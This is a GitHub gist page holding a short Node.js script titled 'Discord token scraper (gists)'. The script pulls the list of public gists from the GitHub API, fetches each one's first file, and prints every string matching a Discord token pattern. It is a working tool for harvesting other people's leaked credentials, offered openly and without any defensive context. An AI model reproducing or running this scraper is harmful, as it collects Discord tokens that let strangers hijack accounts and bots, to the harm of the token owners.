Skip to content

Instantly share code, notes, and snippets.

@wallopthecat
Forked from y21/scrape.js
Created May 8, 2019 15:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save wallopthecat/473b5e07e2270b6f040e57f50a603e09 to your computer and use it in GitHub Desktop.
Save wallopthecat/473b5e07e2270b6f040e57f50a603e09 to your computer and use it in GitHub Desktop.
Discord token scraper (gists)
const fetch = require("node-fetch");
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g;
fetch("https://api.github.com/gists")
.then(r => r.json())
.then(r => {
for (const gist of r) {
fetch(gist.files[Object.keys(gist.files)[0]].raw_url)
.then(rr => rr.text())
.then(rr => {
for (const match of (rr.match(regex) || [])) {
console.log(match);
}
});
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment